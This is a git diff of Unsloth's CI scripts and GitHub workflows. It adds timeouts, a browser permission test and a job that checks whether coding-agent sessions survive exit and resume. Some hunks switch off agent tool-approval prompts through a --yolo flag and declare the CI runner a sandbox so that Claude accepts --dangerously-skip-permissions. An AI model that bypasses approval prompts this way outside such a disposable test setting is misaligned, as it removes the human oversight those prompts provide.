diff --git a/.gitattributes b/.gitattributes
index 5f04b5e9d1..0025f2a697 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -6,7 +6,7 @@
 # them when run in WSL/Linux (e.g. `set -e` -> "set: Illegal option -").
 *.sh text eol=lf
 
-# Normalize Studio frontend sources to LF. Scoped to the frontend tree (rather
+# Normalize Unsloth frontend sources to LF. Scoped to the frontend tree (rather
 # than repo-wide *.ts/*.tsx/... rules) so the policy can't force LF on files
 # elsewhere. text=auto lets Git detect and leave binary assets (logos, fonts)
 # untouched while text files (.ts/.tsx/.json/.html/.svg/...) are stored as LF.
diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh
index 9b85b20177..b63ac94b93 100755
--- a/.github/scripts/agent-guides-drive.sh
+++ b/.github/scripts/agent-guides-drive.sh
@@ -36,6 +36,23 @@ AGENT="${2:?usage: agent-guides-drive.sh <mode> <agent>}"
 # Determinism (seed/temp) is applied at the server level by
 # serve-unsloth-run.sh --extra; agents inherit it through the API.
 TIMEOUT="${AGENT_INVOKE_TIMEOUT:-180}"
+# opencode is the slow outlier. Unlike the print-mode agents (claude -p, codex
+# exec) it runs a full turn AND a separate small_model call to name the session,
+# so one connection reply takes ~8 min on a CPU-served 4B -- right at the shared
+# 600s cap, so the cell flaked when a run drifted past a ~480s success. Give it
+# headroom (still well under the 40-min job budget); the fast agents keep the
+# tight cap that still catches a real headless-TTY hang.
+case "$AGENT" in
+  opencode)
+    # Double it, but only for a bare-integer seconds value. A GNU timeout(1)
+    # duration suffix (s/m/h/d, including floats like 0.5s) is left unchanged so
+    # the arithmetic never sees a non-number; timeout(1) parses it directly.
+    case "$TIMEOUT" in
+      *[!0-9]*) ;;
+      *) TIMEOUT=$(( TIMEOUT * 2 )) ;;
+    esac
+    ;;
+esac
 
 # Claude refuses --dangerously-skip-permissions outside a sandbox; the CI runner
 # IS the sandbox, so declare it (mirrors unslothai/scripts launcher.sh). Harmless
@@ -154,15 +171,20 @@ raw_env() {  # $1 = var name -> value (one shlex-quote layer stripped)
 # writers as a side effect (it writes each agent's relocated session config).
 parse_connect() {
   local raw="$LOGS_DIR/connect-${AGENT}.txt"
-  if ! unsloth start "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
+  # CONNECT_YOLO=1 adds --yolo. opencode/openclaw gate tool approval through their
+  # config (which now prompts by default), so the file-edit test opts into auto-approval
+  # here, the same intent as claude/codex's per-call bypass flags.
+  local yolo=()
+  [ -n "${CONNECT_YOLO:-}" ] && yolo=(--yolo)
+  if ! unsloth start "$AGENT" --no-launch "${yolo[@]}" --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
     cat_redacted "$raw"
     guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero"
   fi
   echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw"
   CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
   # The launch command is the last non-export, non-status line. start.py
-  # prints "Studio <url> · model <id>" and "Updated ..." status lines first.
-  CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \
+  # prints "Unsloth <url> · model <id>" and "Updated ..." status lines first.
+  CONNECT_CMD="$(grep -vE '^(export |unset |Unsloth |Updated |Disabled |Warning|Loading)' "$raw" \
     | grep -E '[^[:space:]]' | tail -1)"
   [ -n "$CONNECT_CMD" ] || guide_fail "could not parse a launch command from connect --no-launch output"
   redact "$raw"
@@ -371,7 +393,7 @@ case "$MODE" in
       hermes)   patch_hermes_tools none
                 invoke_via_connect "$OUT" -z "$PROMPT" ;;
       openclaw) patch_openclaw_agent notools
-                invoke_via_connect "$OUT" agent --local --agent ci \
+                CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$OUT" agent --local --agent ci \
                   --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
       *)        invoke_via_connect "$OUT" "$PROMPT" ;;
     esac
@@ -394,7 +416,10 @@ case "$MODE" in
     T2='Run hello.py with python and show me the exact output.'
 
     # The start.py recipe writers + crosscheck must see the repo; run them
-    # from the repo root BEFORE cd-ing into the scratch work dir.
+    # from the repo root BEFORE cd-ing into the scratch work dir. opencode/openclaw
+    # gate tool approval through their config (prompting by default), so file-edit
+    # opts them into auto-approval to run edits/commands headlessly.
+    case "$AGENT" in opencode|openclaw) CONNECT_YOLO=1 ;; esac
     parse_connect
     crosscheck_contract
     # File-edit needs real tools, so we cannot zero them as in connection.
@@ -441,7 +466,7 @@ case "$MODE" in
           fi ;;
         opencode) invoke_via_connect "$out" run "$prompt" ;;
         hermes)   invoke_via_connect "$out" -z "$prompt" ;;
-        openclaw) invoke_via_connect "$out" agent --local --agent ci \
+        openclaw) CONNECT_CMD_OVERRIDE=openclaw invoke_via_connect "$out" agent --local --agent ci \
                     --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$prompt" ;;
         *)        invoke_via_connect "$out" "$prompt" ;;
       esac
@@ -519,6 +544,154 @@ case "$MODE" in
     echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)"
     ;;
 
+  # ── resume: does a launched agent's session survive exit and resume? ────
+  # Unlike the other modes, this drives the real LAUNCH path (`unsloth start
+  # <agent> ...`, the interactive default), not the --no-launch recipe. That
+  # path relocates each agent's home to a throwaway temp dir wiped on exit, so
+  # a session cannot be resumed -- unless --persist routes it to the stable
+  # Unsloth agents dir instead. We run one headless turn per pass and check
+  # whether the turn left a session in a persistent store (deterministic, no
+  # reliance on the model recalling anything), for a baseline pass and a
+  # --persist pass, and assert the expected split for this agent.
+  resume)
+    CODEWORD="PLATYPUS7"
+    T1="Remember this codeword for later: ${CODEWORD}. Reply with just the word OK."
+    T2="What codeword did I ask you to remember? Reply with just that word."
+    WORK="$WORKDIR_BASE/${AGENT}-resume"
+
+    # STABLE_HOME: the stable dir that --no-launch (and --persist) relocate to.
+    # Read it from a --no-launch probe (which also writes the agent's config
+    # there). codex/pi relocate their whole home/HOME here; opencode/claude keep
+    # their session data in a fixed user dir, so STABLE_HOME stays empty for them.
+    parse_connect
+    case "$AGENT" in
+      codex)    STABLE_HOME="$(raw_env CODEX_HOME)" ;;
+      pi)       STABLE_HOME="$(raw_env HOME)" ;;
+      *)        STABLE_HOME="" ;;
+    esac
+
+    # The persistent stores a session would land in if it were NOT wiped. We
+    # count files here before/after each turn; a positive delta means the
+    # session persisted (is resumable), zero means it went to a wiped temp dir.
+    resume_tracked_dirs() {
+      case "$AGENT" in
+        codex)    printf '%s\n' "$HOME/.codex" ;;
+        opencode) printf '%s\n' "$HOME/.local/share/opencode" "$HOME/.config/opencode" ;;
+        claude)   printf '%s\n' "$HOME/.claude" ;;
+        pi)       printf '%s\n' "$HOME/.pi" ;;
+        *)        : ;;
+      esac
+      [ -n "$STABLE_HOME" ] && printf '%s\n' "$STABLE_HOME"
+    }
+    count_session_files() {
+      local total=0 d n
+      while IFS= read -r d; do
+        [ -n "$d" ] && [ -d "$d" ] || continue
+        n="$(find "$d" -type f 2>/dev/null | wc -l)"; total=$((total + n))
+      done < <(resume_tracked_dirs)
+      echo "$total"
+    }
+
+    # The headless first-turn subcommand per agent (mirrors file-edit's map),
+    # forwarded verbatim through the launch path as passthrough args.
+    set_t1_cmd() {
+      case "$AGENT" in
+        claude)   T1_CMD=("${CLAUDE_CONNECT_FLAGS[@]}" -p "$T1") ;;
+        codex)    T1_CMD=(exec "$T1") ;;
+        opencode) T1_CMD=(run "$T1") ;;
+        pi)       T1_CMD=(-p "$T1") ;;
+        *)        guide_fail "resume mode does not cover agent '$AGENT'" ;;
+      esac
+    }
+
+    # Run one headless turn through the launch path. $1=outfile, $2="" or
+    # "--persist", rest = the agent subcommand. --yolo auto-approves so no tool
+    # prompt can hang; --api-key attaches to the already-served CI model.
+    launch_turn() {
+      local out="$1" rflag="$2"; shift 2
+      local flag=(); [ -n "$rflag" ] && flag=("$rflag")
+      run_timed "$out" unsloth start "$AGENT" "${flag[@]}" --yolo \
+        --api-key "$UNSLOTH_API_KEY" "$@"
+      local rc=$?
+      redact "$out"
+      return "$rc"
+    }
+
+    # One pass: fresh work dir, one planting turn, set RESULT to PERSISTED/WIPED
+    # from the session-store delta. Runs in the main shell (not a command
+    # substitution) so a hang's guide_fail actually fails the job and the
+    # progress lines reach the CI log. $1 = "" (baseline) or "--persist".
+    RESULT=""
+    run_pass() {
+      local rflag="$1" label="baseline"
+      [ -n "$rflag" ] && label="resume"
+      rm -rf "$WORK"; mkdir -p "$WORK"
+      set_t1_cmd
+      local out="$LOGS_DIR/${AGENT}-resume-${label}.txt"
+      local before after rc
+      before="$(count_session_files)"
+      pushd "$WORK" >/dev/null || guide_fail "could not enter work dir $WORK"
+      launch_turn "$out" "$rflag" "${T1_CMD[@]}"; rc=$?
+      popd >/dev/null || true
+      after="$(count_session_files)"
+      echo "[$AGENT] ${label}: session files ${before} -> ${after} (rc=${rc})"
+      # The turn must succeed for the delta to mean anything: an agent that writes a
+      # session file then errors would otherwise be misread as PERSISTED. Mirror the
+      # file-edit mode and fail the pass on a non-zero launch (the flagship codex recall
+      # below stays WARN-only, driven by its own launch_turn calls).
+      [ "$rc" -eq 0 ] || { echo "[$AGENT] ${label} transcript (tail):"; tail -30 "$out" 2>/dev/null || true; \
+        guide_fail "resume ${label} turn for ${AGENT} exited non-zero (rc=${rc})"; }
+      if [ "$after" -gt "$before" ]; then RESULT="PERSISTED"; else RESULT="WIPED"; fi
+    }
+
+    run_pass ""; BASELINE="$RESULT"
+    # Only the temp-dir agents (codex/pi) need the --persist pass to prove the fix.
+    # opencode/claude persist either way, so the baseline already proves it and a
+    # second full CPU turn only risks a timeout; skip it for them.
+    case "$AGENT" in
+      codex|pi) run_pass "--persist"; RESUME="$RESULT" ;;
+      *)        RESUME="n/a (persists either way)" ;;
+    esac
+
+    # Expected: codex/pi relocate their whole home to the temp dir, so a plain
+    # launch is WIPED and only --persist PERSISTS. opencode/claude keep their
+    # session data in a fixed user dir, so the baseline already PERSISTS.
+    case "$AGENT" in
+      codex|pi)        EXPECT_BASELINE="WIPED" ;;
+      opencode|claude) EXPECT_BASELINE="PERSISTED" ;;
+    esac
+
+    echo "──────────────────────────────────────────────"
+    echo "[$AGENT] RESUME EXPERIMENT"
+    echo "  baseline (unsloth start ${AGENT}):                 ${BASELINE}  (expected ${EXPECT_BASELINE})"
+    echo "  with --persist (unsloth start ${AGENT} --persist): ${RESUME}"
+    echo "──────────────────────────────────────────────"
+
+    [ "$BASELINE" = "$EXPECT_BASELINE" ] \
+      || guide_fail "baseline resume behavior for ${AGENT} was ${BASELINE}, expected ${EXPECT_BASELINE}"
+    case "$AGENT" in
+      codex|pi)
+        [ "$RESUME" = "PERSISTED" ] \
+          || guide_fail "--persist did not persist ${AGENT}'s session (got ${RESUME}); the session dir is still not stable" ;;
+    esac
+
+    # Flagship behavioral proof (codex only, WARN-only): after a --persist plant,
+    # resume the session and check the model actually recalls the codeword. A
+    # miss is not a failure (the CI model is small); the mechanism gate above is
+    # the real assertion.
+    if [ "$AGENT" = "codex" ]; then
+      rm -rf "$WORK"; mkdir -p "$WORK"
+      ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-plant.txt" "--persist" exec "$T1" ) || true
+      ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-recall.txt" "--persist" exec resume --last "$T2" ) || true
+      if grep -q "$CODEWORD" "$LOGS_DIR/codex-resume-recall.txt" 2>/dev/null; then
+        echo "[codex] behavioral recall HIT: resumed session remembered ${CODEWORD}"
+      else
+        echo "::warning::[codex] behavioral recall MISS (small CI model); mechanism gate still passed"
+      fi
+    fi
+    echo "[$AGENT] resume OK"
+    ;;
+
   *)
     echo "agent-guides-drive.sh: unknown mode '$MODE'" >&2
     exit 2
diff --git a/.github/scripts/assert-llama-loads.sh b/.github/scripts/assert-llama-loads.sh
index c2ffe27469..62ef80d364 100755
--- a/.github/scripts/assert-llama-loads.sh
+++ b/.github/scripts/assert-llama-loads.sh
@@ -2,7 +2,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 #
-# Assert Studio installed a llama.cpp that loads and runs on THIS macOS. Tests
+# Assert Unsloth installed a llama.cpp that loads and runs on THIS macOS. Tests
 # the contract that matters (binaries load and their minimum-OS is <= this host)
 # instead of the old "did install.sh fall back to a source build?" grep, since a
 # source build with a correct deployment target is a valid outcome.
diff --git a/.github/scripts/assert-prompt-cache.sh b/.github/scripts/assert-prompt-cache.sh
index f5b6b075eb..8c28569f77 100755
--- a/.github/scripts/assert-prompt-cache.sh
+++ b/.github/scripts/assert-prompt-cache.sh
@@ -31,7 +31,7 @@
 #   (llama_cpp.py:337-340). So default: ~/.unsloth/studio/logs/llama-server/.
 #
 #   <P> is the INTERNAL llama-server port (self._find_free_port(),
-#   llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Studio port. So we must
+#   llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Unsloth port. So we must
 #   NOT filter the log glob by STUDIO_PORT (the brief's `port-<STUDIO_PORT>`
 #   glob would never match). We pick the newest llama-*.log instead.
 #
diff --git a/.github/scripts/hf-download-with-retry.sh b/.github/scripts/hf-download-with-retry.sh
index 013a459f46..6dec93356a 100755
--- a/.github/scripts/hf-download-with-retry.sh
+++ b/.github/scripts/hf-download-with-retry.sh
@@ -3,7 +3,7 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 #
 # Download a single file from a Hugging Face repo with a stall-retry
-# watchdog. Used by the Studio CI workflows so a hung hf-xet transfer
+# watchdog. Used by the Unsloth CI workflows so a hung hf-xet transfer
 # kills + retries instead of silently consuming the job's timeout.
 #
 # Usage: hf-download-with-retry.sh REPO FILE LOCAL_DIR
@@ -35,7 +35,7 @@ REPO="${1:?usage: hf-download-with-retry.sh REPO FILE [LOCAL_DIR]}"
 FILE="${2:?usage: hf-download-with-retry.sh REPO FILE [LOCAL_DIR]}"
 # LOCAL_DIR is optional. If empty, hf falls back to HF_HUB_CACHE
 # (~/.cache/huggingface/hub) which is the desired path for callers
-# that populate HF_HOME for a downstream Studio model load.
+# that populate HF_HOME for a downstream Unsloth model load.
 LOCAL_DIR="${3:-}"
 
 # Stall threshold per attempt, in seconds. Override with
diff --git a/.github/scripts/run-studio-permission-browser.sh b/.github/scripts/run-studio-permission-browser.sh
new file mode 100755
index 0000000000..2007789035
--- /dev/null
+++ b/.github/scripts/run-studio-permission-browser.sh
@@ -0,0 +1,69 @@
+#!/usr/bin/env bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+set -euo pipefail
+
+port="${1:?usage: $0 PORT BROWSER [CHANNEL]}"
+browser="${2:?usage: $0 PORT BROWSER [CHANNEL]}"
+channel="${3:-}"
+slug="$browser${channel:+-$channel}"
+artifact_dir="logs/playwright-permissions-$slug"
+server_log="logs/studio-permissions-$slug.log"
+studio_home="${UNSLOTH_STUDIO_HOME:-$HOME/.unsloth/studio}"
+set --
+if [ -n "${STUDIO_PERMISSION_FRONTEND:-}" ]; then
+  set -- -f "$STUDIO_PERMISSION_FRONTEND"
+fi
+
+mkdir -p "$artifact_dir"
+unsloth studio reset-password
+UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$port" "$@" \
+  >"$server_log" 2>&1 &
+studio_pid=$!
+
+cleanup() {
+  kill "$studio_pid" 2>/dev/null || true
+  wait "$studio_pid" 2>/dev/null || true
+}
+trap cleanup EXIT
+
+healthy=0
+for _ in $(seq 1 180); do
+  if curl -fs "http://127.0.0.1:$port/api/health" >/dev/null; then
+    healthy=1
+    break
+  fi
+  if ! kill -0 "$studio_pid" 2>/dev/null; then
+    tail -100 "$server_log" || true
+    exit 1
+  fi
+  sleep 1
+done
+if [ "$healthy" -ne 1 ]; then
+  tail -100 "$server_log" || true
+  exit 1
+fi
+
+old_password=$(cat "$studio_home/auth/.bootstrap_password")
+new_password="CIPerm-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')"
+if [ "${GITHUB_ACTIONS:-}" = "true" ]; then
+  echo "::add-mask::$old_password"
+  echo "::add-mask::$new_password"
+fi
+
+export BASE_URL="http://127.0.0.1:$port"
+export STUDIO_OLD_PW="$old_password"
+export STUDIO_NEW_PW="$new_password"
+export STUDIO_UI_STRICT=1
+export STUDIO_UI_PERMISSION_ONLY=1
+export STUDIO_UI_WALL_TIMEOUT_S=240
+export STUDIO_PLAYWRIGHT_BROWSER="$browser"
+export PW_ART_DIR="$artifact_dir"
+if [ -n "$channel" ]; then
+  export STUDIO_PLAYWRIGHT_CHANNEL="$channel"
+else
+  unset STUDIO_PLAYWRIGHT_CHANNEL || true
+fi
+
+python tests/studio/playwright_chat_ui.py
diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml
index 7978a200c0..d1bea819eb 100644
--- a/.github/workflows/consolidated-tests-ci.yml
+++ b/.github/workflows/consolidated-tests-ci.yml
@@ -268,10 +268,12 @@ jobs:
             tests/saving/test_save_shell_injection.py \
             tests/saving/test_patch_saving_none_tokenizer.py \
             tests/saving/test_fix_sentencepiece_gguf_robustness.py \
+            tests/saving/test_fix_sentencepiece_tokenizer_guard.py \
             tests/saving/test_compressed_export_schemes.py \
             tests/saving/test_export_api_surface.py \
             tests/saving/test_export_dispatch.py \
             tests/saving/test_imatrix_export.py \
+            tests/saving/test_gguf_single_pass_export.py \
             tests/utils/test_attention_masks.py \
             tests/utils/test_trunc_normal_patch.py \
             tests/python/test_fast_language_model_text_only.py
@@ -357,13 +359,18 @@ jobs:
             tests/saving/test_save_shell_injection.py \
             tests/saving/test_patch_saving_none_tokenizer.py \
             tests/saving/test_fix_sentencepiece_gguf_robustness.py \
+            tests/saving/test_fix_sentencepiece_tokenizer_guard.py \
             tests/saving/test_compressed_export_schemes.py \
             tests/saving/test_export_api_surface.py \
             tests/saving/test_export_dispatch.py \
             tests/saving/test_imatrix_export.py \
+            tests/saving/test_gguf_single_pass_export.py \
             tests/utils/test_attention_masks.py \
             tests/utils/test_trunc_normal_patch.py \
             tests/python/test_fast_language_model_text_only.py \
+            tests/test_bad_mappings_redirect.py \
+            tests/test_prefetch_snapshot_scope.py \
+            tests/test_gemma_2b_mapper_key.py \
             --deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap'
           # The deselected test monkeypatches flash_attn_varlen_func, which is
           # only bound on the module when `flash_attn` is importable. flash_attn
diff --git a/.github/workflows/cross-platform-parity-ci.yml b/.github/workflows/cross-platform-parity-ci.yml
index 4632794587..45ce231743 100644
--- a/.github/workflows/cross-platform-parity-ci.yml
+++ b/.github/workflows/cross-platform-parity-ci.yml
@@ -1,18 +1,16 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-# Runs tests/python/test_cross_platform_parity.py on Windows and macOS.
+# Runs installer parity and autostart opt-out tests across all three platforms.
 #
-# Why: that test is the guard that install.sh and install.ps1 stay in
-# sync, but today it only runs on ubuntu-latest (auto-discovered by
-# studio-backend-ci.yml's "Repo tests (CPU)" job). The test reads both
-# installer scripts, and on Windows Path.read_text() defaults to the
-# cp1252 locale encoding, so a non-cp1252 byte in install.sh (it already
-# contains a U+274C) raises UnicodeDecodeError there even though Linux and
-# macOS default to UTF-8. The reads were pinned to encoding="utf-8" in
-# #6166; this job keeps that from silently regressing by exercising the
-# test on the platforms it claims parity for. Pure pytest, no GPU,
-# sub-second, so the matrix is cheap.
+# Why: the parity test guards that install.sh and install.ps1 stay in sync.
+# It originally ran only on ubuntu-latest through studio-backend-ci.yml.
+# On Windows, Path.read_text() defaults to the cp1252 locale encoding, so a
+# non-cp1252 byte in install.sh raises UnicodeDecodeError even though Linux
+# and macOS default to UTF-8. The reads were pinned to encoding="utf-8" in
+# #6166; this matrix keeps that from silently regressing. Pure pytest, no GPU,
+# sub-second, so the matrix is cheap. Linux also runs the POSIX rollback test
+# under dash, matching the supported curl-to-sh installer path.
 
 name: Cross-platform parity
 
@@ -21,14 +19,20 @@ on:
     paths:
       - 'install.sh'
       - 'install.ps1'
+      - 'tests/test_installer_skip_autostart.py'
       - 'tests/python/test_cross_platform_parity.py'
+      - 'tests/sh/test_install_rollback_lifecycle.sh'
+      - 'tests/studio/test_install_rollback_lifecycle.ps1'
       - '.github/workflows/cross-platform-parity-ci.yml'
   push:
     branches: [main]
     paths:
       - 'install.sh'
       - 'install.ps1'
+      - 'tests/test_installer_skip_autostart.py'
       - 'tests/python/test_cross_platform_parity.py'
+      - 'tests/sh/test_install_rollback_lifecycle.sh'
+      - 'tests/studio/test_install_rollback_lifecycle.ps1'
       - '.github/workflows/cross-platform-parity-ci.yml'
   workflow_dispatch:
 
@@ -45,7 +49,7 @@ jobs:
     strategy:
       fail-fast: false
       matrix:
-        os: [windows-latest, macos-latest]
+        os: [ubuntu-latest, windows-latest, macos-latest]
     runs-on: ${{ matrix.os }}
     timeout-minutes: 10
     steps:
@@ -57,5 +61,18 @@ jobs:
           python-version: '3.12'
           cache: 'pip'
       - run: python -m pip install -U pip pytest
-      - name: Cross-platform parity test
-        run: python -m pytest tests/python/test_cross_platform_parity.py -q
+      - name: Cross-platform parity tests
+        env:
+          UNSLOTH_NO_TORCH: '1'
+        run: >-
+          python -m pytest
+          tests/python/test_cross_platform_parity.py
+          tests/test_installer_skip_autostart.py
+          -q
+      - name: PowerShell rollback lifecycle tests
+        if: runner.os == 'Windows'
+        shell: pwsh
+        run: pwsh -NoProfile -File tests/studio/test_install_rollback_lifecycle.ps1
+      - name: POSIX rollback lifecycle tests
+        if: runner.os == 'Linux'
+        run: sh tests/sh/test_install_rollback_lifecycle.sh
diff --git a/.github/workflows/lint-ci.yml b/.github/workflows/lint-ci.yml
index bd859a6e9e..e1f0afd299 100644
--- a/.github/workflows/lint-ci.yml
+++ b/.github/workflows/lint-ci.yml
@@ -13,10 +13,10 @@
 #     committed YAML / JSON config.
 #
 # TypeScript and Rust are NOT duplicated here on purpose:
-#   - Studio Frontend CI runs `npm run typecheck` (= `tsc --noEmit`)
+#   - Unsloth Frontend CI runs `npm run typecheck` (= `tsc --noEmit`)
 #     and `npm run build` (vite/swc) on every studio/frontend/**
 #     change, which is a full TS AST + type check.
-#   - Studio Tauri CI runs `tauri build --debug --no-bundle` on
+#   - Unsloth Tauri CI runs `tauri build --debug --no-bundle` on
 #     every studio/src-tauri/** or studio/frontend/** change, which
 #     compiles the Rust crate (= cargo check + cargo build).
 # Each is a stricter check than a parse-only step would be, so a
diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml
index 47f75dc1ba..c48328e90f 100644
--- a/.github/workflows/local-agent-guides-ci.yml
+++ b/.github/workflows/local-agent-guides-ci.yml
@@ -154,7 +154,7 @@ jobs:
           path: gguf-cache
           key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Gated off PR (see note above); public GGUF still downloads.
@@ -256,7 +256,7 @@ jobs:
             done
           fi
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
@@ -359,7 +359,7 @@ jobs:
           path: gguf-cache
           key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
 
-      - name: Install Studio (--local, --no-torch)
+      - name: Install Unsloth (--local, --no-torch)
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
           # Gated off PR (see note above); public GGUF still downloads.
@@ -448,7 +448,7 @@ jobs:
             done
           fi
 
-      - name: Stop Studio
+      - name: Stop Unsloth
         if: always()
         run: |
           # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make
@@ -471,6 +471,176 @@ jobs:
             redacted-configs/
           retention-days: 7
 
+  # ═════════════════════════════════════════════════════════════════════
+  # Job: resume
+  #   Does a conversation started with `unsloth start <agent>` survive exit
+  #   and resume? This drives the REAL launch path (not the --no-launch
+  #   recipe the other jobs use). A plain launch relocates the agent home to
+  #   a temp dir wiped on exit, so codex/pi cannot resume; --persist routes the
+  #   session to the stable Unsloth agents dir so it persists. opencode/claude
+  #   keep their session data in a fixed user dir, so they persist either way.
+  #   Dispatch-only: it is an end-to-end experiment, not a PR gate.
+  # ═════════════════════════════════════════════════════════════════════
+  resume:
+    name: resume (${{ matrix.agent }})
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 60
+    strategy:
+      fail-fast: false
+      matrix:
+        # codex/pi relocate their whole home (resume broken without --persist);
+        # opencode/claude keep session data in a fixed dir (resume already works).
+        # One agent from each class proves the split end to end; openclaw/hermes
+        # share codex's relocation mechanism and are covered by the unit tests.
+        agent: [codex, opencode, claude, pi]
+    env:
+      GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
+      GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf
+      STUDIO_PORT: '18904'
+    steps:
+      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
+        with:
+          persist-credentials: false
+
+      - name: Linux deps for llama.cpp prebuilt
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y --no-install-recommends \
+            libcurl4-openssl-dev libssl-dev jq
+
+      - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e  # v6.4.0
+        with:
+          node-version: '22'
+
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405  # v6.2.0
+        with:
+          python-version: '3.12'
+          cache: 'pip'
+
+      - name: Restore GGUF model file
+        id: cache-gguf
+        uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        continue-on-error: true
+        with:
+          path: gguf-cache
+          key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
+
+      - name: Download GGUF if cache miss
+        id: download-gguf
+        if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success'
+        env:
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          python -m pip install --upgrade huggingface_hub
+          mkdir -p gguf-cache
+          bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache
+
+      - name: Save GGUF model file
+        if: always() && steps.download-gguf.outcome == 'success'
+        uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
+        with:
+          path: gguf-cache
+          key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
+
+      - name: Install Unsloth (--local, --no-torch)
+        env:
+          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          HF_TOKEN: ${{ secrets.HF_TOKEN }}
+        run: |
+          mkdir -p logs
+          set -o pipefail
+          bash install.sh --local --no-torch 2>&1 | tee logs/install.log
+
+      - name: Serve unsloth run --disable-tools (gemma-4-E4B)
+        run: |
+          unsloth studio reset-password
+          bash .github/scripts/serve-unsloth-run.sh \
+            --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \
+            --port "$STUDIO_PORT" --log-dir logs \
+            --extra "--seed $UNSLOTH_SEED --temp 0" \
+            --health-timeout 900
+
+      - name: Preflight the agent's API dialect (class-a isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
+        run: |
+          set -uo pipefail
+          B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY"
+          preflight_fail() {
+            echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect). Endpoint contract lives in studio/backend/routes/**.";
+            exit 1
+          }
+          code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \
+            -H "Authorization: Bearer $K") || true
+          [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code"
+          case "$AGENT" in
+            claude)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code"
+              ;;
+            codex)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code"
+              ;;
+            *)
+              code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \
+                -H "Authorization: Bearer $K" -H 'content-type: application/json' \
+                --max-time 120 \
+                -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true
+              [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code"
+              ;;
+          esac
+          echo "preflight OK for $AGENT"
+
+      - name: Install agent CLI (class-b isolation)
+        env:
+          AGENT: ${{ matrix.agent }}
